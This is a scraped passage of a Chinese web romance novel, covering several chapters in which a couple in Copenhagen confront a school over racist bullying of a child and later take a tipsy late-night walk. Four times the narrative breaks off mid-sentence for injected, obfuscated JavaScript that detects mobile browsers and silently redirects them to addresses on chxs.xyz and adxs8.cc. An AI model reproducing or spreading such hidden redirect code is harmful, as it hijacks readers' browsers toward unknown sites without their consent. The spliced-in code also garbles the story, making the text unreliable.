“我们家小孩儿在之前的学校遭受过种族歧视。”温让说,“所以才决定转校。” “这个你们放心吧,我们学校不会有这种情况的。”女人说完,指着一位路过的华裔老师说道,“你看,那位LINYA老师就是中国人。” “可是我们也在网络上看到对贵校种族歧视现象的投诉。”高幸说,“所以特意过来看看情况到底是怎样的。” 高幸露在外面的手冻得有些红,温让瞧见了,握住她的手背,揣进衣兜里。 两人现在是“夫妻”身份,这样的举动再正常不过,冻僵的手指在男人的揉搓下,慢慢恢复了血液循环,连同着她的心。 “那可真是太荒谬了,我们学校口碑一直都很好,从来没有过投诉现象。”女人言语中透露着一股微妙的傲慢,“孩子们可能只是开个玩笑,总有人会上升到种族歧视的高度,大惊小怪。” “玩笑?你——”高幸正准备疯狂输出,却被温让捏了捏手指。 “那假设贵校遇到种族歧视的情况,你们会怎么处理呢?”温让保持着礼节和风度,说道,“当然,这只是个假设。” “我们自然会根据证据,警告种族歧视者,并安抚被歧视者。” “只是警告?” “我们会根据严重程度,给予不同的惩罚措施。”都是些官方说辞。 “我家小孩儿在之前的学校被几个白人小男孩拉到男厕所,头被按到小便池里,还被逼着学狗叫,身上到现在还有被殴打的痕迹。”温让平静地叙述着,“如果在贵校,遇到这种情况会怎么处理呢?” “不能光听小孩说这些,得有证据的。”女人并没有因为他的话产生任何的同情,“你们也知道,小孩子总爱骗人。” “那你觉得,小孩子编这些的理由是什么?”高幸忍不住反驳道,“如果是你的小孩遭遇这些,你也会觉得他在骗你吗?” “我自然需要找到证据……” 在高幸发飙之前,温让迫近一步,紧紧盯着女人的双眼,“诺拉女士,你是这所学校的老师,你入职七年,负责的班级共遭受过20次投诉,有17次都是来自中国家庭,你的丈夫比你大十岁,是这所学校的副校长,早在十年前,他就有过反对中国人移民丹麦的言论。你们的孩子今年九岁,就读于哥哈最优秀的学校,也曾因为在校辱骂中国孩子而受到警告,但这些都被你丈夫私下处理了。” 女人皱起眉头,“你在说什么?” “我在说。”温让笑了笑,“你不配做一名教师。” “你们俩根本就不是来参观学校的是吧?!” “阿幸。” 突如其来的亲昵称呼让高幸没反应过来,“啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065390|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们走。” “你们到底是来干什么的?!”女人在后面提高了音量。 高幸回过头,“当然是来看看纵容种族歧视的学校是什么样子的啦。” 前脚刚迈出校门,李听墨后脚就跟了上来。 “怎么样?” “准备写邮件投诉吧。”温让说,“我们的猜想是正确的。” “你怎么短时间内查到这么多?”高幸问道,“我还以为你说的那些都是诈她的。” “刚好有两个朋友在丹麦的学校工作,就让他们帮忙查了下。”温让说。 “刚才来门口接你们的女人之前就是小笛的班主任。”李听墨说,“但听说她现在转到其他岗位去了。” “那个女人可不是什么好东西。”高幸想到她对小笛遭遇不屑一顾的表情就来气,“张口闭口就是证据。” “证据不一定是直接的。”温让抬手按了按酸胀的太阳穴,“也可以是间接的。” “是不是有些累了?”高幸压低了声音问道。 “还好,只是昨晚有点没睡好。” “你咋了哥,昨晚失眠啊?”李听墨嚼着口香糖问道,“倒时差?水土不服?” “这两天订的酒店,不太隔音。”温让说。 李听墨了然,“我给你找一家隔音的,相信我,这个我有经验。” 高幸追问道,“你为什么有经验?经常订酒店吗?” “呃……” 不用他回答,高幸已经在心里替蕾娜把李听墨的分扣得差不多了。 “成年人嘛,懂得都懂。”李听墨说完,马上转了话题,“那我们现在去哪儿?” “在这儿等他们下课,跟着那几个小孩,去找他们的父母。”温让说,“养出这样的孩子的,父母三观能正到哪儿去?” “有道理。”高幸说。 临近放学时间,门口果然聚集了不少父母。 他们仔细看了那四个种族歧视小孩的照片,只是白人小孩长相大多相似,三个人眼睛都不敢眨一下。 “那小孩儿,左边额头有个疤的——你们快看。”李听墨站在温让和高幸中间,一手拉一个,“就是我妈说的那个领头的,叫什么乔根。” “对,就是他。”高幸两只手圈在眼睛四周,作望远镜状,“先看看来接他的人是谁。” “让我looklook——”李听墨的脑袋顺着男孩走去的方向挪动,在看到男孩牵住的男人那刻,彻底定住,“ohmy老天爷啊。” “怎么了?”温让也看过去,那个男人个子又高又壮,手臂还有纹身,怎么看都不是个好惹的。 “我们可能打不过。”高幸说。 “不是这个问题。”李听墨抖着手指过去,“那男的,特么的是个gay,之前在酒吧搭讪,还特么想操/我,被我揍了一顿,后来听说他在那酒吧守了我一个星期,我没敢去。” 高幸和温让不语,只一味向李听墨投去同情的目光。 “那要不然——”高幸踌躇着问,“你用美色……” 温让附和道,“也不是不行。” 李听墨:“滚,我再放荡也誓死守护我的肛。” 15. 华裔情人 「华裔情人」 后面又出来了三个男孩,蹦蹦跳跳的,书包都没背,撞到人了也不道歉,还朝人做鬼脸,这样一对比,乔根表面看着还算正常。 温让他们商量了一下,决定先把领头的乔根解决了。 李听墨退缩了,“要不然你俩去吧,我就——” 高幸一把拉过他的胳膊,“怕什么,他好歹看上过你。” “什么看上,只是想上我。”李听墨疯起来连自己都骂,“男的就这德性,发/情期到了见个洞就想插一下。” 温让警告的眼神扫过来,“不要说这样粗俗的话。” “我错了哥,是我口无遮拦了。” “慢着,那男人跟乔根会是什么关系?”高幸忽然想到,“如果是他父亲,他又是个gay,难道骗婚了?” “高幸。” “有这种可能性吧?” “丹麦的同性婚姻是合法的。”李听墨提醒道。 “哦哦……” “那我跟高幸先去打探一下,听墨,你看我手势行事。” “好。” 温让伸出胳膊,看了高幸一眼。 “怎么了?” “我们还是以夫妻关系去打探吧。”温让说。 高幸挽上他臂弯,“好。” 李听墨在后面直翻白眼:cosplay玩上瘾了是吧。 乔根刚上车就被高幸叫住了,她会丹麦语,交流起来比较方便。 “请问这位是乔根同学的父亲吗?”高幸弯腰,对上驾驶座上男人凌厉的双眼,“我们是他同学的父母。” 男人下车,走到他俩面前,“什么事?” 高幸有理有条地说明了来意。 男人抱着胳膊,靠在车上,“我儿子听话得很,成绩也是数一数二的,老师同学都很喜欢他,你们说的事,他做不出来。” “但这就是事实。” “事实?”男人嗤笑道,“女士,我们可以告你造谣的。” “他已经不止一次欺负我家小孩,学校方面给的答复是,他们已经警告过你们。” “不好意思,我们从来没收到任何警告。”男人低头看手表,不打算和他们多说,“你们说我小孩儿歧视中国人,这就更不可能了,因为我本身就不歧视中国人,他更没理由歧视。” “行,本来我们是想私下解决的,既然你不愿意相信我们,那我们会向平等待遇委员会申诉。”高幸说。 “随便你们怎么申诉。”男人朝一旁乖巧呆着的乔根挥挥手,“小子,上车。” “好的,父亲。”俨然一副乖宝宝模样。 温让背在身后的手比了个手势,李听墨抽着烟过来了,还朝男人吹了个口哨。 男人正要上车,一看到李听墨,额头青筋凸起,“是你?” “还真是狭路相逢。” 男人忽然冲过去揪住了李听墨的衣领,“臭小子,我他妈找了你一个月了。” “不好意思。”李听墨喷他一脸烟雾,“我不是gay,对你没兴趣。” 就在两人针锋相对时,温让的眼神却悄悄落到了乔根身上。 小男孩绿瞳阴郁,像两盏寒夜鬼灯,手指紧紧攥住膝盖处的衣料。 “先生,你刚才说你不歧视中国人,这点我比较相信。”李听墨扯开男人的手。 温让不经意地用英文问道,“先生,你的情人是不是几乎都是华裔?” 男人侧过头,“那又怎么了?” “你能保证每次跟情人约会,都没被你的小孩看见吗?”温让追问道。 男人沉默了,透过半降的车窗,和乔根对视。 “乔根对华裔的敌意或许不是来自你。”温让语气镇定平和,“而是来自你那总是被绿的另一半。” 男人眉头压得很低,一脸凶相,冲着车子里吼道,“乔根,刚才他们说的事,你有没有做过!” “父亲,我没有。”乔根马上换了副温顺的嘴脸,“我真的没有,您要信我。” 温让轻笑了一声,“先生,你可以仔细想想,你的那些华裔情人是不是都主动和你分手,你们维持关系的时间也总是很短暂,他们和你匆匆分开,都不会详细说明理由。” 男人的脸色越来越难看。 “或许你从未深究过背后的原因,对你来说,情人都是玩玩而已。”温让边说边留意乔根越发焦急的脸色,“现在你可以想想,是否有人插手你的这些事,或者说,是否有人指使你的小孩——” “Bullshit!!!”乔根终于忍不住大喊。 男人怒视他,“乔根,谁教你说的脏话!” “爸爸……” “比起你们,我更信自己的儿子,你们要申诉就申诉,别来找我了。”男人阴沉着脸,绕回驾驶座。 特斯拉很快消失在视野尽头。 李听墨叹了口气,“看来还是不行。” “怀疑的种子已经种下了,接下来只用等着它生根发芽。”高幸满意地看向温让,“你真会察言观色,是不是学过心理学?” 温让笑容浅浅,“都是经验之谈。” 经验? 高幸不解。 了解他家庭状况的李听墨秒懂,“所以真的是那个男人的另一半指使乔根在背后捣乱,导致乔根对华裔产生这么深的敌意的吗?” “如果乔根目睹父亲跟华裔情人红杏出墙,从小就被灌输华裔都是坏人的观念,那他完全有理由歧视华裔。”温让说,“可他父亲明显对华裔有不一样的好感,如果他痛恨你,你出现在他眼前的第一秒就被揍了。” “那倒也是。”李听墨摩挲着下巴,“接下来怎么办?” “我刚才往乔根父亲的包里塞了我们的联系方式。”温让说,“就看他会不会主动联系我们了,但该申诉的还是得申诉,这个学校从头到脚都是烂的,必须接受整治。” “哥,你办事是真靠谱啊。” “联系方式是高幸写的,我想到的这些,她也同步想到了。” “高幸也靠谱,就我不靠谱。” “如果不是你出现,温让又怎么会察觉到乔根的异样呢?”高幸说。 “看来我的美色还是管用的。”李听墨说。 三人在周边随便找了家店吃了晚饭,回家途中,路过一家乐高店,李听墨停了下来,“我去给小笛挑个礼物。” 高幸站在门口,“我在外面等你们吧。” “你帮我一起挑啊,外面这么冷,站那儿干嘛?”李听墨不由分说地把她拽进来。 这家乐高店不算大,只有一层楼,橱窗里摆着刚上的新品,货架上整整齐齐放满了乐高经典系列。 李听墨不爱玩玩具,这会儿更是挑花了眼,全靠温让在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074214|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边指点。 高幸清楚地知道自己强忍数日的购物欲在进店那刻已经爆发,失去理智般地往推车里装了一盒又一盒的乐高。 在国内,她也曾报复性消费过,严重的时候,一次购物就会花掉两三个月的工资,后来在关容清的监督下,好转了许多。 来到国外她只能自己监督自己,本来存款所剩无几,要是再冲动消费,恐怕真的要在丹麦打黑工了。 “诶,高幸呢?”李听墨选好要买的,正要去付款,却发现高幸不见了,再回头,温让也不见了。 高幸从高处的货架又取下一盒,手腕却被人按住。 “高幸。”温让拿过她手中的乐高,“你已经挑了很多了。” “我……”她的手指有些颤抖。 “这些你全都想买吗?”温让耐心地问道,“要不要冷静一下,想一想?” “我说温让,人家买个东西你都要管啊,你这管得有点——卧槽。”李听墨绕过货架,被高幸购物车里堆得快比她还高的盒子吓了一跳,“你这挑了五位数了吧。” 高幸骑虎难下,内心的焦躁感比之前更重。 “李听墨,你先去把你自己的买了。”温让支开了他。 “哦,行。” 高幸始终没有说话,温让把手中的乐高放回原处,又从购物车里拿出一盒,问道,“这个喜欢吗?” 见女子摇头,他便转身找到乐高原来的位置,放回去。 就这样一盒一盒地询问,直到所剩无几。 “还剩两盒。”温让问道,“都要吗?” 两盒,刚好是她能承担的范围。 结完账,温让顺手替她拎了口袋。 “买完了?”李听墨在门口等了他们快十分钟。 “走吧。”温让说。 “哥,我刚才找了下酒店,但是圣诞季到了,基本都住满了。” “没事,我先暂时住之前的酒店。” “不是不隔音吗?你看你最近没休息好,脸色都不好了,要不你先住我家吧?”李听墨张口就来,“你跟我睡。” “又不是小时候。”温让婉拒。 “那怎么了?而且不是还要处理小笛的事吗,我们都住一起,方便多了。” “你跟我过来。”温让的表情突然严肃起来。 李听墨不明所以,但还是跟着他往旁边走了几步。 “你的提议有考虑过高幸的感受吗?她毕竟是女性,这几天你和她单独住本来就不合礼数了,你还让我也住进去,你觉得合适吗?” “这确实……可这不是还有小笛在吗?没什么吧……” “你是男性,你当然觉得没什么。” “可那是我家。”李听墨说完,又朝不远处孤零零站着的高幸看了一眼,“好吧,是我考虑不周。” 高幸听不清他们在说什么,以她对温让的了解,李听墨多半被训了。 温让的脸色确实不如之前,这两天事情又多,要是休息不好,恐怕病情也会加重。 “温让。”高幸走过去,“我觉得李听墨说的有道理,要不然你先暂时住他家,订到更合适的酒店再说。” 温让看着她,没说话。 “我不介意的。”高幸又说道,“你们俩,我都信得过。” 温让轻轻叹了口气,低头靠近她耳侧,“不要这么容易相信男人。” 16. The Last Day 「TheLastDay」 三个人一出门就是大半天,小笛已经在家看完了好几部动画片。 温让推着行李箱进来时,小笛瞬间从沙发上弹了起来,“温哥哥!” “小笛,在玩什么呢?” “在看中国的动画片,高姐姐推荐给我的。” 温让一眼扫过去,古早的水墨画风,不正是他们小时候看过的上美动画片,小笛看的还配上了英文字幕。 “小笛,来吃晚饭。”李听墨把餐盒放到桌子,“哥哥还给你买了乐高,吃完和你一起拼。” “好诶。” 小笛乖乖坐到桌边吃饭,高幸陪着她,时不时地问几句下午看的动画。 李听墨和温让一块儿把行李搬进卧室,他的卧室是整套房子里最简单的,床也最小,要睡下两个体格偏大的成年男性,估计有些困难。 “我今天晚上和朋友约好了去观星,明天才回来。”李听墨说,“哥,你放心睡。” 说完,他又朝敞开的门口望了眼,餐桌上的两人交流正欢,“要是小笛今晚又做噩梦,高幸应该会去哄的,但是昨天晚上我看见她……” “怎么了?”温让注意到李听墨面露忧色。 “昨晚她哭了,虽然我不了解高幸,但看着挺难受的。”李听墨重重拍在温让的肩上,“不过哥你放心,明晚我一定会回来跟你睡。” “……” 李听墨陪着小笛把乐高拼了一半,就被朋友的电话叫走了。 这晚,小笛睡得很早,以前高幸至少得讲完两个故事,她才会打呵欠,今天晚上,一个故事还没讲完,小女孩就歪着脑袋睡熟了。 高幸踮起脚走出去,一点声响都没发出来。 啪嗒一声,门关上了,客厅亮了一盏灯,高幸回过头,看见温让正坐在沙发上敲键盘。 “还不睡吗?”高幸问道,“忙论文?” “在写投诉信。”温让推了推眼镜。 高幸很少看到温让戴眼镜,但不得不承认,温黄的夜灯下,穿着单薄家居服,戴着无框方形眼镜的温让有一种斯文精英的气质。 但他眼底流露的情绪总是很柔和,没有丝毫精英阶层的距离感。 或许是这种柔和让高幸不由得想靠近,反应过来时,她已经坐在温让旁边了。 “不是说好我来写吗?” “你忙着哄小笛,我也得给自己找点事儿做。” 高幸歪头打量着他,“你的眼镜有度数吗?” “没有,是防蓝光的。” 温让摘下来,高挺的山根处留下镜架的印痕,手指捏着镜架送到高幸眼前,“要试戴一下吗?” 高幸倒也不客气,直接戴在了自己脸上。 “好像有点大。”温让靠近她些许,“不过还是很好看。” 嗅到温让身上淡淡的蜜桃甜奶香,高幸的脸瞬间红了,他用了她的沐浴露。 高幸慌忙取下眼镜,捋了捋头发,遮掩发红的脸。 “怎么了?” “没事,暖气……太足了。”高幸两只手扇着风,“有点热。” “对了,你的眼睛居然都不近视吗?”她问道。 “是的。”温让笑道,“大概是小时候认真做了眼保健操?” “你以前一定没有偷偷在被窝里看过小说,也很少玩手机吧?然后做作业、看书都坐得板板正正的,对不对?” “一字不差。”温让说,“我确实很少用手机。” “我也是上大学后才获得手机自由的,那时候晚上寝室熄了灯,寝室里四张床,每张床都有一个被手机光照亮的人脸。”高幸回忆起上学时候的点点滴滴,双眸弯弯,“有时候熬夜熬到很晚,但转过头一看见室友还亮着的脸,就让我很安心。” “你们没有装床帘吗?” “没有诶,我们关系都很好,作息也很一致,所以都没装床帘。” “真好,你的大学生活,应该过得很不错?” 高幸重重点头,“除了没谈恋爱,其他都很好。” “为什么没谈?” 她没想到温让会问得这么直接,迟疑了一下,才回道:“没有合适的。” “怎样才是合适的?”温让追问道,靠近高幸一侧的手臂没忍住往旁边撑了撑。 “这、这怎么说呢……” “抱歉。”温让收回手臂,保持和她的安全距离,“我唐突了。” “没关系。”高幸盘起腿,往后靠在沙发上,是一个放松的姿势,“对我来说,合适大概就是彼此喜欢,在对方身边感到安心,两个人可以携手走很远很远的路,没有那么大的差距,不用谁追赶谁,并肩而行,就好了。” 温让的手指缓缓蜷缩起来,“这也是你期待的爱情吗?” “嗯。”高幸说,“我之前去相过亲。” 温让微微别过头,眼神落向窗外,“然后呢?” “对方很有礼貌,也很委婉地问了我的家庭条件,我的学历,我的工作和收入,中介方在这之前劝过我,有些事不必说得太真实,但我不听劝。”高幸垂下脑袋,自嘲地笑笑,“当然,相亲泡汤了,对方还给中介说,像我这样单亲家庭出身,父母也没什么体面的工作,非985211毕业生,工作无编制,月薪不过万,是相亲市场的最底层。” 高幸的言语很平静,仿佛在讲述旁人的经历。 “所以这个世界需要的人是必须有着和谐美满的家庭?必须有一对给予自己支撑的父母?读的大学必须得是985211?工作必须是稳定到一眼望到头的?” 极轻的一声叹息落地。 “所以我这样的人,是不配活在这世界上吗?” 回应高幸的,不再是过往的那些“没关系”、“没事的”、“会好起来的”,而是一个和那声叹息一样轻而温柔的拥抱。 高幸几乎是立马屏住了呼吸。 温让什么也没说,贴在她背后的掌心收得更紧了些,即使如此,他们的身体中间也还保持着礼貌的距离。 “温让……”高幸犹豫着回抱住他,“你、你在发抖?” 见温让没有回应,高幸更担心了,她的双手滑到男人的腰间,试图推开他,却被按住后背,往前贴得更近了些。 于是,她听到了耳边让人酥麻的气音,“你特别好,不配的从来都不是你。” “温让……” “没人比你更好。” 高幸的眼里蓄了泪,听见男人笃定的声音。 “是这个世界不好。” · 第二天,温让收到了一条陌生短信,落款人叫“纳森”。 纳森正是乔根的父亲,他调查后发现温让的推测全部属实,但家事不方便多说,他只在短信里表明了自己的态度:愿意配合他们提供证据,并将乔根退学,先在家亲自看管一段时间。 温让连夜写好了投诉信,高幸也整理了小笛班主任及其丈夫的“案底”以及该院校对种族歧视事件的敷衍处理,两人凌晨将这些打包,尽数发给了平等待遇委员会。 高幸看了温让写的投诉信,别看他平时为人处事都温温和和的,写起投诉信来那叫一个强势犀利,最后还不忘强调一句,如果委员会无法公平公正地处理此事,他们绝对不会善罢甘休。 下午,他们就收到了回复,委员会表示一定会彻查此事,但也需要他们前去接受正常的问话。 于是温让和高幸被迫在委员会待了一整天,中途还把纳森叫来作证。 工作人员有意让小笛过去,被高幸态度鲜明地拒绝了,她不愿小笛再受到二次伤害,好在有纳森在,加害者自己都愿意承认罪行,委员会也没什么好怀疑的。 “我们依然觉得你们对于国外移民者的保护是不够的。”问话结束的时候,温让说道,“如果种族歧视者自己不承认,难道就当这些没发生过吗?厕所没有监控,所以就成了施暴的主要地点,但偏偏你们又要证据,这种证据要怎么给?” 对面的三个工作人员同时沉默了一会儿。 “既然是在学校发生的事,那么学校就该好好调查,而不是搪塞过去,当然,这所学校本身也有很大的问题。”高幸说,“你们应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079557|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该给予这些纵容种族歧视的学校一定的惩罚。” 工作人员:“我们明白二位的心情,发生这样的事也是我们不想看到的。” “打官腔就不必了。”温让起身,双手撑在桌面上,格外强势,“就像你们只看证据一样,我们也只看结果,结果不好,那我们就继续争取,直到出现一个好结果为止。” 高幸也跟着站起来,“我们也只是想给自家小孩讨一个公道,以前那些被欺负的中国家庭选择息事宁人,不是因为中国人怯懦,而是他们相信发达国家该有发达国家的气度,中国人又讲求退一步海阔天空,但如果一味的退让换来的是更可怕的歧视,那就都撕破脸好了。” 狠话都放到这里了,工作人员连忙笑着打圆场,一再保证会做出公正的回应。 出了办公处,高幸和温让同时松了口气。 纳森跟在他们身后,笑得相当爽朗大声,“你们跟我之前在中国认识的朋友可真像啊,能忍就忍,忍不了就干他个天翻地覆。” 两人齐齐转身,打了招呼,也道了谢。 “不客气,应该的,过些天我会给你们家小孩儿带些礼物,实在是抱歉,是我没教育好孩子。”纳森手指点眉头,敬了个礼。 “你去过中国?”高幸问道。 “当然,不然我怎么这么喜欢找中国男人。”纳森说道,“另外一位今天怎么没来?” 还惦记着呢。 温让忍着笑,“他有事。” “可惜了,是个直男。”纳森说完,挥挥手,“走了,有需要再联系我。” “再见。” 虽然小笛的创伤还需要时间恢复,但他们该做的都做了,事情总算能暂告段落。 “也不知道李听墨今天给小笛吃了些什么。”高幸有些担心,“我得买些菜回去,给她做点好吃的。” “我陪你一起。” 两人去超市挑了不少的蔬果肉类,回到家,小笛正窝在李听墨怀里玩手游。 “又赢了,小笛你可真是游戏天才啊!”李听墨吧唧亲了小笛的脑袋一口。 “哥我很久没洗头了。” “我说怎么这么臭呢。” “讨厌你!” 三荤三素两汤,高幸和温让在厨房里忙活了整整两个钟头。 沙发上的两人嗅到香味,一同望向开放式厨房。 一男一女穿梭在淡淡的厨房烟雾中,切菜声、翻炒声、开关燃气灶的声音混在一起。 “小笛。” “咋啦?” “你看你这高姐姐和温哥哥,般配吧。” “天生一对!” “嘿嘿。” 最后一道菜收锅,温让放下锅铲,高幸顺手接过盘子,两人相视一笑。 “合作愉快,温大厨。” “下次继续,高大厨。” “两位大厨辛苦啦。”李听墨抽了几双筷子,笑得谄媚,“洗碗就由我——和洗碗机来负责吧。” 高幸给了他一肘击。 这大概是高幸几年来吃得最开心的一顿饭了,不再是出租屋里一个人端着凉透的面碗,望着电视剧里其乐融融的场景发呆,她也成了这些场景的一部分。 深夜,高幸躺在床上。 这次失眠是因为感受到了幸福。 零点一过,她看了眼日期,忽然愣住。 七天之期,约定的最后一天就这样过去了。 接下来,她不再是温让的“导游”,他们一同旅行的时光就这样,彻底没了。 这下更睡不着了,眼睛一睁就睁到了凌晨三点。 也是在这时候,手机屏幕在黑夜中亮起来。 温让:「熬夜的时候,感觉偷时间。」 高幸:「你也没睡?在干什么呢?」 温让:「在为自己争取多出来的时间。」 高幸:「猫猫挠头.gif」 她有些紧张地盯着屏幕,对方正在输入。 很快,一行字跳进眼里。 「哥哈凌晨街头,待会儿会多出两个心血来潮的旅客吗?」 17. 凌晨街头 「凌晨街头」 高幸的身体比大脑更快速地做出了反应。 保暖内衣、毛衣、羽绒外套……一层层套好后,她随手梳理了一下打结的长发,戴上毛线帽。 门口传来了轻微的脚步声,高幸深吸一口气,按下门柄。 温让同样包裹得严严实实,正在大门边换鞋。 两人一句话没说,一前一后沉默地出了门,走到岔路口,他们才互相看了对方一眼,不约而同地笑出声来。 “我俩偷感好重。”高幸笑得声音都在发颤。 温让也戴了帽子,黑色短发压在冷帽下,发梢有些遮眼,深夜为他俊气的五官披上一层清冷的霜,嘴角的弧度却依然温柔,一张口,唇边白雾消散,“想去哪儿?” “我对这边还算熟悉,跟我走吧。” “好。” 距离哥本哈根大学北校区不远处就是诺雷布罗区,高幸之前骑车去逛过几次,年轻人居多,但这样寒冷的凌晨,再疯狂的年轻人也不会在街道游荡。 走着走着,身子也暖和起来,温让总是会落后她半步,今夜,他似乎比平时更沉默,不知道在想什么。 直到她打了个喷嚏。 “冷?”温让问道。 “没有,我现在很暖和。”高幸把手从温暖的衣兜里抽出来,手指四周夸张地冒着些热气,“你看。” 温让笑了笑,“确实暖和。” 诺雷布罗区的街道两旁平日里总是停着不少车辆,热闹的夜生活也落下帷幕,咖啡馆、酒吧以及各类艺术工作室大门紧闭,白日的活力化为夜间的静谧。 喧嚣散尽,万籁俱寂,徒留盏盏街灯照尽前路。 影子被路灯拉长,时而交织,时而分开,隔着说不清道不明的距离。 路过一家唯一还亮着灯的店铺,711的招牌格外醒目,玻璃窗上沾满了雾气,朦朦胧胧的,看不真切。 两人默契十足地转了个方向,进了711。 店员正在盘点货架,见有人进来,便回到了收银台。 亚裔长相的店员,看上去不过20出头的年纪,估计是留学生过来挣点微薄的生活费。 高幸径直走向了饮品区,对着一排排酒水发呆。 温让挑了盒糖果,走到高幸身旁,“想喝酒?” 高幸抿了抿唇,“有一点点。” “那就喝。”温让说完,从货架上取下一瓶嘉士伯,“这是丹麦的本土啤酒,试试?” “好。”高幸的目光落到旁边的白色瓶子上,喃喃道,“TEMPT7……” “诱惑7号,也是丹麦的酒。”温让说,“度数比较低,果味的,要吗?” “那我喝这个。”高幸说。 “好。” 结账的时候,温让要了两根吸管,熟练地用牙齿咬开了瓶盖。 高幸在旁边看呆了,“温让,你好像……对酒很熟悉。” 温让把吸管插到嘉士伯里递给高幸,“先尝一下我这个。” 高幸捧着瓶子吸了口,“味道淡淡的,有一点甜味,度数是不是也不高?” “嘉士伯的后劲比较大。”温让又帮她开了诱惑七号,“上学的时候,每天都在做实验写文章,闲下来一个人也会喝点酒。” “这个酒好像果汁,没什么酒味。”高幸说。 “那要不要换一下?” “可以吗?” “当然。”温让提醒道,“不过别喝太猛,小心后劲。” “没事,我酒量挺好的。” 两人一人拎着一瓶酒,在空旷的街头走走停停。 “干杯。” “干杯。” 酒瓶碰撞在一起的清脆声回荡在凌晨三点的街道。 酒劲上来时,高幸忽然觉得大脑有些充血,晕晕乎乎地想起了很多以前的事,话痨本性彻底露了出来,扯着温让的袖子,絮絮叨叨说了一大堆。 “温让你知道吗,我们舞队以前还靠喝酒助兴,喝完就跳舞,结果有人跳着跳着就躺地下睡着了哈哈哈。” “对了我跟你说,露营好可怕,我跟好朋友去露营,本来是两个女生一个帐篷,居然还有人悄悄钻进女生的帐篷做那种事,恶心死我了!” “有的人哪儿是人啊,那就是发/情的畜生,还说什么要解决生理需求,脑子里就全是那档子事儿呗。” “说起这个我就是气,你说我们女生跳爵士穿得性感活力一点怎么了?还有男的在背地里说我是外围,我呸,舞蹈是健康的,舞者也是健康的,肮脏的永远是人心。” 说着说着,思维不知道又跳脱到哪儿去了。 “你说那些领导怎么就认识不到自己的问题呢?总是把责任推给下属,尤其是资历浅的职场新人,背锅大户。” “其实现在很多人都是德不配位的,不过是吃了时代的红利才活得那么滋润,可我们呢?吃到什么红利了?全是黑利。” 女子忽然转过身,和温让面对面,倒退着往后走,涨红着一张脸,下了结论,“这个世界真够糟糕的。” 温让仰头灌了口酒,清爽的荔枝味在口中化开,“高幸,你要这样走吗?” “啊?” “那把手给我。” 高幸迷糊地伸出手,被男人紧紧牵住。 “我怕你摔倒。”他说。 “我不会——诶!”话音未落,她就被一块儿凹凸不平的地砖绊了下。 温让单手握住她的胳膊,稍稍使劲,却不小心把她拉进了怀里。 额头触到了男人的下巴,高幸瞬间仰起了头。 温让目光低垂着,紧锁着她的双眸,然后缓缓滑向鼻尖,滑向左脸颊那枚小小的痣,最后停留在残留着酒液的饱满的唇。 高幸眨了眨眼,想要把眼前的景象看得更清楚些。 男人却抬起一只手,盖住了她探索欲强烈的眼睛,另一只手青筋凸起,握住啤酒瓶,眨眼间,饮尽全部。 冰凉的酒液滑过喉头,或许是酒精作用,心跳更激烈。 高幸什么也看不见,听觉却灵敏,吞咽声在眼前的幕布上播放着喉结滚动的画面。 “温让……” 男人的声音低哑,“刚才是不是崴了下脚?” 高幸后知后觉地感受到脚腕传来的酸软,“好像是。” 眼前的遮挡移开了,于是画面更模糊,好似穿梭到了18岁那个混乱的夏夜。 温让在她身前半蹲,“上来吧。” -上来吧,我背你。 少年的背脊清瘦却有劲,屈身下蹲的那瞬间,她看见冰山在轰然倒塌。 一帧帧蒙太奇闪过。 -不用了,谢谢你。 “温让。” “这次,也要拒绝我吗?” 被酒精麻痹的头脑无法清醒地分析现状,高幸缓缓伏上他的后背。 男人挽住她的膝弯,毫不费力地起身,高幸下意识抱住了他的脖子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084059|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我重吗?” “不重。” “可是还有很远的路。” “没关系,总能走回去的。” 两道影子重叠在一起,街灯也雀跃。 “我的酒量好像下降了……” 背上的女子喃喃自语,像是不解,又像是自责。 “阿幸,可以再给我七天时间吗?” 